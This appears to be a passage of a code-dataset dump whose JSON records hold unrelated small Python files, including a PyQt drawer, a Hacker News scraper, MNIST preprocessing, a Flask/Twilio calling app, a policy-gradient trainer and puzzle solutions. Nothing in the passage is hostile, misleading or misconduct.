self.moveBackwards(numberOfSteps)\n\n else:\n\n # Random enums.Direction: left of right\n if(np.random.random_sample() < 0.5):\n direction = enums.Direction.forwards_left\n else:\n direction = enums.Direction.forwards_right\n\n\n if(randomNumber < 0.7):\n self.turnOnTheSpot(numberOfSteps, direction)\n else:\n self.turnOnTheSpot(numberOfSteps, direction)\n\n\n","sub_path":"code/tortoise.py","file_name":"tortoise.py","file_ext":"py","file_size_in_byte":21915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"506998221","text":"\"\"\"https://www.acmicpc.net/problem/2417\"\"\"\nfrom math import sqrt, floor\nn = int(input())\nroot_n = floor(sqrt(n))\nq = root_n\n\nwhile q**2 < n:\n q += 1\n\nprint(q)","sub_path":"binary-search/2417_정수제곱근.py","file_name":"2417_정수제곱근.py","file_ext":"py","file_size_in_byte":161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"61597904","text":"\nfrom PyQt5.QtGui import QPainter, QBrush, QPen, QColor, QRadialGradient, QFont\nfrom PyQt5.QtCore import Qt, QPointF, QRect, QPoint\n\n\nclass Drawer:\n\n def draw_normal_rectangle(self,painter, x, y, width, height):\n painter.setBrush(QBrush(Qt.white, Qt.SolidPattern))\n painter.drawRect(QRect(x * width, y * height, width, height))\n\n def draw_growing_rectangle(self, painter, x, y, width, height, time_diff_rate):\n current_width = int(width * time_diff_rate)\n current_height = int(height * time_diff_rate)\n current_position_x = int((x * width + width * 0.5) - (current_width * 0.5))\n current_position_y = int((y * height + height * 0.5) - (current_height * 0.5))\n\n painter.setBrush(QBrush(Qt.red, Qt.SolidPattern))\n painter.drawRect(QRect(current_position_x, current_position_y, current_width, current_height))\n\n def draw_normal_circle(self, painter, x, y, width, height):\n painter.setBrush(QBrush(QColor(\"#5c5c5c\"), Qt.CrossPattern))\n painter.drawEllipse(QPoint(x * width + int(width/2), y * height + int(height/2))\n ,int(height / 2) - 13, int(height/2) - 33)\n\n painter.setBrush(QBrush(QColor(\"#ffffff\"), Qt.SolidPattern))\n\n painter.drawEllipse(QPoint(x * width + int(width/2), y * height + int(height/2))\n ,int(height / 2) - 20, int(height/2) - 40)\n\n\n\n def draw_growing_circle(self, painter, x, y, width, height, time_diff_rate):\n self.draw_normal_circle(painter, x, y , width, height)\n # painter.setBrush(QBrush(QColor(\"#ffa8c5\"), Qt.NoBrush))\n\n\n radialGradient = QRadialGradient(QPoint(x * width + int(width/2),y * height + int(height/2))\n ,int(height / 2) - 20,\n QPoint(x * width + int(width/2),y * height + int(height/2))) # center,radius,focalPoint\n radialGradient.setColorAt(0,QColor(\"#fccccc\"))\n radialGradient.setColorAt(0.7,QColor(\"#eb9494\"))\n radialGradient.setColorAt(1.0,QColor(\"#ff4d4d\"))\n painter.setBrush(QBrush(radialGradient))\n painter.setPen(Qt.NoPen)\n painter.drawEllipse(QPoint(x * width + int(width/2), y * height + int(height/2))\n ,(int(height / 2) - 20) * time_diff_rate, (int(height/2) - 40) * time_diff_rate)\n painter.setPen(QPen())\n\n\n def draw_empty_circle(self, painter, x, y, width):\n painter.setBrush(QBrush(Qt.black, Qt.SolidPattern))\n painter.drawEllipse(QPointF(x, y), width, width)\n painter.setBrush(QBrush(Qt.white, Qt.SolidPattern))\n painter.drawEllipse(QPointF(x, y), width - 8, width - 8)\n\n\n def draw_line_point_to_point(self, painter, x1, y1, x2, y2):\n # painter.setBrush(QBrush(Qt.black, Qt.SolidPattern))\n painter.setPen(QPen(Qt.black, 4, Qt.DashLine))\n painter.drawLine(x1, y1, x2, y2)\n painter.setPen(QPen())\n\n def draw_text(self, painter, x, y, width, height, text):\n # painter.drawText(QRect(x * width, y * height, width, height), Qt.AlignCenter or Qt.TextWordWrap, text)\n\n # large size font\n if len(text) <= 10 :\n painter.drawText(QRect(x * width + int(width / 2 - height / 2 + 20), y * height + 40,\n height - 40, height - 80), Qt.AlignCenter or Qt.TextWordWrap, text)\n\n # medium size font\n elif len(text) > 10 and len(text) < 15:\n font = QFont ()\n font.setPixelSize(40)\n painter.setFont(font)\n\n painter.drawText(QRect(x * width + int(width / 2 - height / 2 + 20 ), y * height+40,\n height-40, height-80), Qt.AlignCenter, text)\n font.setPixelSize(50)\n painter.setFont(font)\n\n # small size font\n else:\n font = QFont()\n font.setPixelSize(30)\n painter.setFont(font)\n\n painter.drawText(QRect(x * width + int(width / 2 - height / 2 + 20), y * height + 40,\n height - 40, height - 80), Qt.AlignCenter or Qt.TextWordWrap, text)\n font.setPixelSize(50)\n painter.setFont(font)\n\n # self.font.setPixelSize(50)\n\n\n def setColorRed(self, object):\n object.setStyleSheet(\"background-color:red\")\n\n\n def setColorWhite(self, object):\n object.setStyleSheet(\"background-color:white\")\n\n","sub_path":"src/util/application_util/Drawer.py","file_name":"Drawer.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"248150252","text":"'''\nPython module to practice scraping websites for data\n'''\n\n# pylint: disable=invalid-name\n\nimport sys\nimport pprint\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef create_custom_website(links, subtext):\n '''\n Generates a custom representation of the website from the scraped data\n '''\n web = []\n\n for i, item in enumerate(links):\n title = item.getText()\n href = item.get('href', None)\n vote = subtext[i].select('.score')\n\n if vote:\n points = int(vote[0].getText().replace(' points', ''))\n if points >= 100:\n web.append({'title:': title, 'link': href, 'votes': points})\n\n return web\n\ndef sort_by_votes(web):\n '''\n Sorts the scraped data by the amount of votes\n '''\n return sorted(web, key=lambda k: k['votes'], reverse=True)\n\ndef main(pages):\n '''\n Using beautifulsoup4 we are scraping a website and construction a customized view that we want\n '''\n links = []\n subtext = []\n for i in range(int(pages)):\n print(f'Scraping page {i + 1}/{pages}...')\n res = requests.get(f'https://news.ycombinator.com/news?p={i}')\n soup = BeautifulSoup(res.text, 'html.parser')\n\n links = links + soup.select('.storylink')\n subtext = subtext + soup.select('.subtext')\n\n pprint.pprint(sort_by_votes(create_custom_website(links, subtext)))\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n main(sys.argv[1])\n else:\n main(1)\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"313997497","text":"'''\nCreated on Mar 24, 2014\n\n@author: Rudik\n\n'''\nimport Connecting\nfrom string import join\n\npcData = Connecting.exportFromAD()\npcList = []\n\n# Parsing the list of PC details\n# Calculating the total number of OS. Total computers fow each OS\ndef calculateTotalPCsByOS():\n \n # Temporary string variable \n osList = []\n \n # Declaring new dictionary were will be stored OP type and number of pc that have the OS. \n # The key: OS Type, value number of PCs with that have the OS.\n countSODict = {}\n \n # Parsing the PCData and adding the elements in a new list\n for pc in pcData:\n # Transforming from list to string\n pc[1]['operatingSystem'] = join( pc[1]['operatingSystem'] )\n \n # Appending all transformed operating systen on new list.\n osList.append( pc[1]['operatingSystem'] )\n \n # Sorting the new list\n osList = sorted( osList )\n \n # Adding the first element of list to countSODict dictionary\n countSODict.update( {osList[0]:osList.count( osList[0] )} )\n # parsing osList and calculating the number of PCs that have for each OS\n for osType in osList:\n \n # Checking if in dictionary not exist the current OS from list and adding in dictionary calculating total PCs\n if countSODict.has_key( osType ) is False:\n countSODict.update( {osType:osList.count( osType )} )\n \n # Returning a dictionary wits key OS model and total pc for each model \n return countSODict\n","sub_path":"PYCInfo/GetHWResources.py","file_name":"GetHWResources.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"5008631","text":"#process the dataset--- pre_selection :\n\n# overlap selecting.\n\nimport scipy.io as sio\nimport sys\nimport numpy as np\nimport pickle as cPickle\nimport gzip\nimport random\nimport time\nimport copy\n\n\n#!!just need to change :\n#datalength_train/datalength_test: how much figures you want to process\n#unit stride pd --- control the output dimension : you can see detials in slides\n#expect_ones is to control the final average black pixels in given dimension\n# if it could not generate(because expect_ones is too high but dimension is too low), it will return \"cannot find the line!\" \n\n#--------Settings----------------\ndatalength_train=6000\ndatalength_test=1000\nexpect_ones=22\n#------overlap processing---------\nunit=2\nstride=2#\npd=0\ninput_neu = 28*28\n\nnum_trans_train=datalength_train\nnum_trans_test=datalength_test\n\nname_train = './MNIST/photos_train_28_255.mat'\n#vals = sio.loadmat(name)\n#images = vals['images']\nname_test='./MNIST/photos_test_28_255.mat'\nanswer = './MNIST/photos_train_label.mat'\nv = sio.loadmat(answer)\nlabels = v['labels']\nanswer_test = './MNIST/photos_test_label.mat'\nv = sio.loadmat(answer_test)\nlabels_test = v['labels']\n\nstart=time.clock()\n#####--------------------------Functions----------------------------------\n#-------count ones-------------------------------------------------------------\ndef count_ones(nimages,num):\n av=np.sum(nimages)/num\n print(\"average: \", av)\n return av\n#-------load MNist--------------------------------------------------------------\ndef load_mnist(name, datalength):\n vals = sio.loadmat(name)\n images = vals['images']\n return images[0:datalength]\n\n# ----process MNIST index and load(output type:ndarry)----\ndef load_index(labels,datalength):\n index = []\n index1 = []\n for i in range(datalength):\n labellist = []\n for j in range(10):\n if labels[0][i] == j:\n value = []\n value.append(1)\n labellist.append(value)\n else:\n value = []\n value.append(0)\n labellist.append(value)\n\n index1.append(labels[0][i])\n index.append(labellist)\n index = np.array(index)\n index1 = np.array(index1)\n return index,index1\n\n\n###------------Pre_processing-------------------------------------------------\ndef pre_processing(example, unit, stride, pd, expect_ones, num_trans):\n\n example = example.reshape(28 * num_trans, 28)\n if(pd!=0):\n for k in range(num_trans):\n ex = example[28 * k:28 * (k + 1), :]\n ex = np.pad(ex, ((pd, pd), (pd, pd)), 'constant')\n if k == 0:\n examples = copy.deepcopy(ex)\n else:\n examples = np.vstack((examples, ex))\n else:\n examples=copy.deepcopy(example)\n # ----------\n\n out_dimension = (np.sqrt(input_neu) + 2 * pd - unit) / stride + 1\n out_dimension = int(out_dimension)\n print(\"Expected output dimensions:\", out_dimension)\n\n output_1 = np.zeros((out_dimension, out_dimension))\n for k in range(num_trans):\n for i in range(0, out_dimension * stride, stride):\n for j in range(0, out_dimension * stride, stride):\n output_1[i/stride][j/stride] = np.mean(examples[i + (k * (14 + pd) * 2):unit + i + (k * (14 + pd) * 2), j:j + unit])\n if k==0:\n output_sum=copy.deepcopy(output_1)\n else:\n output_sum = np.vstack((output_sum, output_1))\n\n output = output_sum.reshape(num_trans, out_dimension * out_dimension)\n\n # ------------find-------------------\n A1,A0,av_final,count,mark,flag,line = 255,0,0,0,0,1,125\n b_output = np.zeros(output.shape)\n\n while (flag):\n count += 1\n for i in range(len(output)):\n for j in range(len(output[i])):\n if (output[i][j] >= line):\n b_output[i][j] = 1\n else:\n b_output[i][j] = 0\n\n av_new = count_ones(b_output,b_output.shape[0])\n if ((av_new > expect_ones - 1) and (av_new < expect_ones + 1)):\n flag = 0\n av_final = av_new\n elif (av_new <= expect_ones - 1): # need to decrease av_new\n flag = 1\n A1 = 0.5 * (A0 + A1)\n line = 0.5 * (A0 + line)\n elif (av_new >= expect_ones + 1):\n flag = 1\n A0 = 0.5 * (A0 + A1)\n line = 0.5 * (line + A1)\n if (count >= 8):\n if (flag):\n print(\"cannot find the line!\")\n mark=1\n break\n\n print(\"dimensions:\", out_dimension)\n print(\"the times\", count)\n print(\"line\", line)\n print(\"firing ones\", av_new)\n #print(\"firing rate\", av_new / (out_dimension * out_dimension))\n # --------------Vth\n\n\n return b_output,out_dimension,mark\n\n\n########--------Functions over----------------------------------------------------------\n\n#------------method 3 overlaping filter--------------------------\n\n\nexample_train=load_mnist(name_train,num_trans_train)\nexample_test=load_mnist(name_test,num_trans_test)\nindex_train,index1_train=load_index(labels,datalength_train) #index 10 binary/ index1 decimal\nindex_test,index1_test=load_index(labels_test,datalength_test)\n\nfinal_pixels_train,outDimension1,mark_train=pre_processing(example_train, unit, stride, pd, expect_ones, num_trans_train)\nprint(\"--------------------------------Testing:-------------------------------------\")\nfinal_pixels_test,outDimension2,mark_test=pre_processing(example_test, unit, stride, pd, expect_ones, num_trans_test)\n\nlist_train=final_pixels_train\nlist_test=final_pixels_test\n\nfile_name_train='MNIST/'+'train_ones'+str(expect_ones)+'_dim'+str(outDimension1)+'_datalength'+str(datalength_train)\nfile_name_test='MNIST/'+'test_ones'+str(expect_ones)+'_dim'+str(outDimension2)+'_datalength'+str(datalength_test)\n\nif (mark_train==0 and mark_train==0):\n all_vals_train = {'images': list_train, 'labels': index1_train, 'indexs': index_train}\n sio.savemat(file_name_train, all_vals_train)\n all_vals_test = {'images': list_test, 'labels': index1_test, 'indexs': index_test}\n sio.savemat(file_name_test, all_vals_test)\n\ndelta_t=(time.clock()-start)\nprint(\"running_time:\", delta_t)","sub_path":"5_2_simple_version_preprocessing/pre_processing_generator_final.py","file_name":"pre_processing_generator_final.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"381146805","text":"from flask import Flask, request, json, render_template\nfrom flask.ext.pymongo import PyMongo, ASCENDING, DESCENDING\nfrom twilio.util import TwilioCapability\nfrom twilio import twiml\nfrom datetime import datetime, timedelta\nimport phonenumbers\nfrom bson import json_util\nfrom bson.objectid import ObjectId\nimport pytz\nimport os\n\napp = Flask(__name__)\nfor (k, v) in os.environ.items():\n if k.startswith(('MONGODB_', 'TWILIO_', 'GOOGLE_')):\n app.config[k] = v\n\nfrom flask_sslify import SSLify\nif 'DYNO' in os.environ: # only trigger SSLify if the app is running on Heroku\n sslify = SSLify(app)\n\napp.config.from_envvar('CALLYOURREP_SETTINGS', silent=True)\nmongo = PyMongo(app, 'MONGODB')\n\njinja_options = app.jinja_options.copy()\n\njinja_options.update(dict(\n block_start_string='<%',\n block_end_string='%>',\n variable_start_string='%%',\n variable_end_string='%%',\n comment_start_string='<#',\n comment_end_string='#>'\n))\napp.jinja_options = jinja_options\n\n\nutc = pytz.utc\n\n@app.route('/api/districts.json', methods=['GET'])\ndef getDistricts():\n lat = request.args.get('lat')\n lon = request.args.get('lon')\n query = { 'district': { '$geoIntersects': { '$geometry': {\n 'type': 'Point', 'coordinates': [ float(lon), float(lat) ]}}}}\n\n districts = [ d for d in mongo.db.districts.find(query).sort('_id', ASCENDING) ]\n for (idx, d) in enumerate(districts):\n betterCommittees = []\n for c in d['committees']:\n betterData = mongo.db.committees.find_one({'_id': c['committee']})\n betterData['rank'] = c['rank']\n betterCommittees.append(betterData)\n districts[idx]['committees'] = betterCommittees\n\n updateQuery = { '_id': { '$in': [ d['_id'] for d in districts ] }}\n mongo.db.districts.update_many(updateQuery, { '$inc': { 'searches': 1 }})\n\n return json.dumps(districts)\n\n@app.route('/api/topics.json', methods=['GET'])\ndef getTopics():\n search = request.args.get(\"search\")\n if not search:\n topics = mongo.db.topics.find().sort('useCount', DESCENDING).limit(4)\n else:\n topics = mongo.db.topics.find({ '$text': {\n '$search': str(search), '$language': 'en', '$caseSensitive': False}}).sort(\n 'useCount', DESCENDING)\n return json_util.dumps([ t for t in topics ])\n\n@app.route('/api/inbound')\ndef inbound():\n resp = twiml.Response()\n phoneNumber = request.args.get('PhoneNumber')\n addressHash = request.args.get('AddressHash')\n callStatus = request.args.get('CallStatus')\n\n district = mongo.db.districts.find_one({'phone': phoneNumber})\n if not district:\n resp.say(\"You are trying to call an unknown phone number\")\n return str(resp)\n\n parsedNumber = phonenumbers.format_number(phonenumbers.parse(district['phone'], 'US'),\n phonenumbers.PhoneNumberFormat.E164)\n\n lastCall = mongo.db.calls.find_one({'addressHash': addressHash,\n 'phoneNumber': parsedNumber})\n now = datetime.now(utc)\n if lastCall and lastCall['timestamp'] + timedelta(hours=24) > now:\n resp.say(\"You have already called \" + phoneNumber + \" in the last 24 hours.\" +\n \"Please try again tomorrow\")\n return str(resp)\n\n resp.dial(number=parsedNumber,\n callerId=app.config['TWILIO_OUTGOING_NUMBER'],\n timeLimit=1200)\n mongo.db.districts.update_one({'_id': district['_id']}, { '$inc': { 'calls': 1 }})\n mongo.db.calls.insert_one({'timestamp': now,\n 'addressHash': addressHash,\n 'phoneNumber': parsedNumber})\n\n return str(resp)\n\n@app.route('/api/twilioToken')\ndef token():\n capability = TwilioCapability(\n app.config['TWILIO_ACCOUNT_SID'], app.config['TWILIO_AUTH_TOKEN'])\n capability.allow_client_outgoing(app.config['TWILIO_APP_SID'])\n ret = capability.generate()\n return ret\n\n@app.route('/')\ndef index2():\n return render_template('index.html',\n googleAPIKey=app.config['GOOGLE_API_KEY'],\n googleAnalyticsKey=app.config['GOOGLE_ANALYTICS_KEY'])\n\n@app.route('/caller')\ndef caller():\n search = request.args.get(\"topicId\");\n topics = None\n\n if search:\n topics = json_util.dumps(mongo.db.topics.find_one_and_update(\n {'_id': ObjectId(search)},\n {'$inc': { 'searchCount': 1 }}\n ))\n else:\n topics = \"null\"\n\n return render_template('caller.html',\n googleAPIKey=app.config['GOOGLE_API_KEY'],\n googleAnalyticsKey=app.config['GOOGLE_ANALYTICS_KEY'],\n topicDict=topics)\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"280333422","text":"import numpy as np\nimport tensorflow as tf\nimport gym\nimport time\nimport os\n\n\nlearning_rate = 0.0001\nnum_iteration = 2000000\nreward_decay_rate = 0\nanimate = False\nckpt_dir = './checkpoint_pg/'\n\ntf.set_random_seed(0)\nnp.random.seed(0)\nenv = gym.make('CartPole-v0')\n\nobservation = tf.placeholder(tf.float32, shape=[None, env.observation_space.shape[0]])\naction_label = tf.placeholder(tf.int8, shape=[None, env.action_space.n])\naccumulated_advantage = tf.placeholder(tf.float32, shape=[None])\nbaseline_label = tf.placeholder(tf.float32, shape=[None])\n\n\ndef chooseAction(action_output):\n def softmax(x):\n exp_x = np.exp(x)\n softmax_x = exp_x / np.sum(exp_x)\n return softmax_x\n \n action_output_softmax = softmax(action_output)\n final_action = np.random.choice(env.action_space.n, 1, p=action_output_softmax)\n return final_action[0]\n\n\ndef oneHot(x, depth):\n y = np.zeros(depth)\n y[x] = 1\n return y\n\n\ndef AccumulateReward(reward, gamma):\n reward_length = len(reward)\n final_accumulated_reward = reward.copy()\n accumulated_reward = reward[-1]\n\n for i in range(reward_length-2, -1, -1):\n final_accumulated_reward[i] += accumulated_reward * gamma\n accumulated_reward = final_accumulated_reward[i]\n \n return final_accumulated_reward\n\n\ndef normalize(x, mu, sigma):\n unit_x = (x - np.mean(x))/(np.std(x) + 1e-8)\n return mu + sigma * unit_x\n\n\ndef build_model():\n\n net_action = tf.layers.dense(observation, 16)\n net_action = tf.layers.dense(net_action, 32)\n action = tf.layers.dense(net_action, env.action_space.n)\n\n cross_entropy_action = tf.nn.softmax_cross_entropy_with_logits_v2(labels=action_label, logits=action)\n loss_action = tf.reduce_sum(tf.multiply(cross_entropy_action, accumulated_advantage))\n\n # baseline is different from Value function\n net_baseline = tf.layers.dense(observation, 16)\n net_baseline = tf.layers.dense(net_baseline, 32)\n baseline = tf.squeeze(tf.layers.dense(net_baseline, 1))\n\n loss_baseline = tf.reduce_mean(tf.square(baseline - baseline_label))\n\n tvars = tf.trainable_variables()\n grads_action, _ = tf.clip_by_global_norm(tf.gradients(loss_action, tvars), 1)\n grads_baseline, _ = tf.clip_by_global_norm(tf.gradients(loss_baseline, tvars), 1)\n optimizer_action = tf.train.GradientDescentOptimizer(learning_rate).apply_gradients(zip(grads_action, tvars))\n optimizer_baseline = tf.train.GradientDescentOptimizer(learning_rate).apply_gradients(zip(grads_baseline, tvars))\n\n return optimizer_action, optimizer_baseline, loss_action, loss_baseline, action, baseline\n\n\ndef train():\n\n optimizer_action, optimizer_baseline, loss_action, loss_baseline, action, baseline = build_model()\n\n sess = tf.InteractiveSession()\n saver = tf.train.Saver()\n ckpt = tf.train.get_checkpoint_state(ckpt_dir)\n if not ckpt:\n print(); print(\"checkpoint not found.\"); print()\n sess.run(tf.global_variables_initializer())\n if ckpt:\n saver.restore(sess, ckpt.model_checkpoint_path)\n\n for iteration in range(num_iteration):\n observation_input = []\n action_label_input = []\n baseline_label_input = []\n accumulated_reward_input = []\n reward = []\n\n o_input = env.reset()\n done = False\n\n while not done:\n if animate:\n env.render()\n time.sleep(0.05)\n\n action_output, baseline_output = \\\n sess.run([action, baseline],\n feed_dict={observation: [o_input]})\n\n observation_input.append(o_input)\n final_action = chooseAction(action_output[0])\n action_label_input.append(oneHot(final_action, env.action_space.n))\n baseline_label_input.append(baseline_output)\n\n o_input, r, done, _ = env.step(final_action)\n reward.append(r)\n\n accumulated_reward_input_episode = AccumulateReward(reward, 1-reward_decay_rate)\n for i in accumulated_reward_input_episode:\n accumulated_reward_input.append(i)\n\n # # additional norm trick\n # baseline_label_input = normalize(baseline_label_input,\n # np.mean(accumulated_reward_input), np.std(accumulated_reward_input))\n \n # advantage_length = len(baseline_label_input)\n # accumulated_advantage_input = np.zeros(advantage_length)\n # accumulated_advantage_input[-1] = accumulated_reward_input[-1] - baseline_label_input[-1]\n # for i in range(advantage_length-2, -1, -1):\n # accumulated_advantage_input[i] = \\\n # accumulated_reward_input[i] - accumulated_reward_input[i+1] * (1 - reward_decay_rate) + \\\n # baseline_label_input[i+1] * (1 - reward_decay_rate) - baseline_label_input[i]\n\n # accumulated_advantage_input = normalize(accumulated_advantage_input, 0, 1)\n\n # baseline_label_input = normalize(accumulated_reward_input, 0, 1)\n\n _, _, loss_action_output, loss_baseline_output = \\\n sess.run([optimizer_action, optimizer_baseline, loss_action, loss_baseline],\n feed_dict={observation: observation_input,\n action_label: action_label_input,\n accumulated_advantage: accumulated_reward_input,\n # accumulated_advantage: accumulated_advantage_input,\n baseline_label: baseline_label_input})\n \n if iteration % 10 == 0:\n print('iteration:', iteration, 'action loss:', str(loss_action_output)[:6],\n # 'baseline loss:', str(loss_baseline_output)[:6],\n 'episode length:', len(accumulated_reward_input))\n\n if iteration % 100 == 0:\n if not os.path.exists(ckpt_dir):\n os.mkdir(ckpt_dir)\n checkpoint_path = os.path.join(ckpt_dir, \"model.ckpt\")\n filename = saver.save(sess, checkpoint_path)\n # print(\"Model saved in file: %s\" % filename)\n\n\nif __name__== '__main__':\n train()","sub_path":"policy_gradient_gym.py","file_name":"policy_gradient_gym.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"596068125","text":"class Solution(object):\n def maxSlidingWindow(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: List[int]\n \"\"\"\n if nums == None or nums == []:\n temp=[]\n return temp\n result=[]\n for i in range(len(nums)-k+1):\n result.append(max(nums[i:i+k]))\n return result\n","sub_path":"Leetcode/src/main/java/com/daily/python/SlidingWindowMaximum.py","file_name":"SlidingWindowMaximum.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"42986560","text":"def number_of_words(): # CREATES FUNCTION\n words = input(\"Enter some Words: \")\n list = words.split() # PUTS INPUT INTO A LIST AND SPLITS IT\n\n # PRINTS THE FIRST WORD\n print(list[0])\n\n if len(list) >= 3: # IF INPUT IS GREATER THAN 3 WORDS\n print(list[2]) # PRINTS THE THIRD WORD\n print(list[1:-1]) # PRINTS EVERY WORD EXLUDING THE FIRST AND LAST ONE\n\nnumber_of_words() # CALLS THE FUNCTION","sub_path":"Python Arrays/Task3.py","file_name":"Task3.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"31037545","text":"l = []\nwhile True:\n print(\"press 1 to enter score in a list\")\n print (\"press 2 for exit\")\n ch = input()\n if ch == \"1\":\n a = input(\"Enter score: \")\n l.append(a) \n elif ch == \"2\":\n break\nfor c in l:\n temp = 0\n if temp < int(c):\n temp = c\nfor c in l:\n temp1 = 0\n if temp1 < int(c) and int(c) != temp:\n temp1 = c\nprint(temp1)\n","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"493812428","text":"class Solution:\n def kSum(self, nums: List[int], k: int) -> int:\n maxSum = sum([max(0, num) for num in nums])\n absNums = sorted([abs(num) for num in nums])\n minHeap = [(absNums[0], 0)]\n k -= 1\n curr = 0\n while k:\n curr, i = heapq.heappop(minHeap)\n if i + 1 < len(absNums):\n heapq.heappush(minHeap, (curr - absNums[i] + absNums[i + 1], i + 1))\n heapq.heappush(minHeap, (curr + absNums[i + 1], i + 1))\n k -= 1\n return maxSum-curr","sub_path":"2386. Find the K-Sum of an Array.py","file_name":"2386. Find the K-Sum of an Array.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"566513908","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('myshop', '0007_purchasegoods_sum_price'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='DiscountGoods',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('type', models.CharField(max_length=10)),\n ('name', models.CharField(max_length=5)),\n ('count', models.IntegerField(default=1)),\n ('goods_id', models.DecimalField(default='', max_digits=100, decimal_places=0)),\n ],\n ),\n ]\n","sub_path":"myshop/migrations/0008_discountgoods.py","file_name":"0008_discountgoods.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"254120921","text":"\"\"\"\nThe cake is not a lie!\n======================\n\nCommander Lambda has had an incredibly successful week: she completed the first test run of her LAMBCHOP doomsday device, she captured six key members of the Bunny Rebellion, and she beat her personal high score in Tetris. To celebrate, she's ordered cake for everyone - even the lowliest of minions! But competition among minions is fierce, and if you don't cut exactly equal slices of cake for everyone, you'll get in big trouble. \n\nThe cake is round, and decorated with M&Ms in a circle around the edge. But while the rest of the cake is uniform, the M&Ms are not: there are multiple colors, and every minion must get exactly the same sequence of M&Ms. Commander Lambda hates waste and will not tolerate any leftovers, so you also want to make sure you can serve the entire cake.\n\nTo help you best cut the cake, you have turned the sequence of colors of the M&Ms on the cake into a string: each possible letter (between a and z) corresponds to a unique color, and the sequence of M&Ms is given clockwise (the decorations form a circle around the outer edge of the cake).\n\nWrite a function called solution(s) that, given a non-empty string less than 200 characters in length describing the sequence of M&Ms, returns the maximum number of equal parts that can be cut from the cake without leaving any leftovers.\n\nTest cases\n==========\nInput:\nsolution.solution(\"abcabcabcabc\")\nOutput:\n 4\n\nInput:\nsolution.solution(\"abccbaabccba\")\nOutput:\n 2\n\"\"\"\n\ndef solution(s):\n # Your code here\n \"\"\"\n First counts all letters in the str, find the greatest common divisor\n Decrease the divisor as long as it is still valid until 1\n Check if the divisor works, if yest return the divisor\n Reach 1 then return 1 \n \"\"\"\n \n def gcd(one, two):\n \"\"\"\n Find the greatest common divisor of two non-negative intergers\n \"\"\"\n if one == 0:\n return two\n return gcd(two % one, one)\n \n def get_counts(s):\n \"\"\"\n Get the non-repeated counts of different characters in the input string.\n \"\"\"\n counts = {}\n for ch in s:\n if ch not in counts:\n counts[ch] = 0\n counts[ch] += 1\n return list(set([counts[ch] for ch in counts])) \n \n def get_divisor(l):\n \"\"\"\n Find the greatest divisor of a given non-negative integer list\n \"\"\"\n if not l:\n return -1\n res = l[0]\n for num in l:\n res = gcd(res, num)\n return res\n \n def is_valid_divisor(l, divisor):\n \"\"\"\n Check if a number is a valid common divisor of all the integer in a list\n \"\"\"\n for num in l:\n if num % divisor != 0:\n return False\n return True\n \n def valid_subsequence(s, length):\n \"\"\"\n Check if a input string has repeated substring of a given length \n Only start of 0-index is needed, as the start point can be shifted to any position if there are repeated substrings.\n \"\"\"\n cur = length\n while cur + length <= len(s):\n for i in range(length):\n if s[i] != s[cur + i]:\n return False\n cur += length\n return True\n \n if not s:\n return 0 \n list_num = get_counts(s) \n greatest_divisor = get_divisor(list_num)\n \n # Check the divisor from the greatest possible to 1\n while greatest_divisor > 1:\n if is_valid_divisor(list_num, greatest_divisor):\n length = len(s) // greatest_divisor\n if valid_subsequence(s, length):\n return greatest_divisor\n greatest_divisor -=1\n return 1\n","sub_path":"level 1/the_cake_is_not_a_lie.py","file_name":"the_cake_is_not_a_lie.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"460844450","text":"# Copyright (c) 2017, MD2K Center of Excellence\n# - Nasir Ali \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 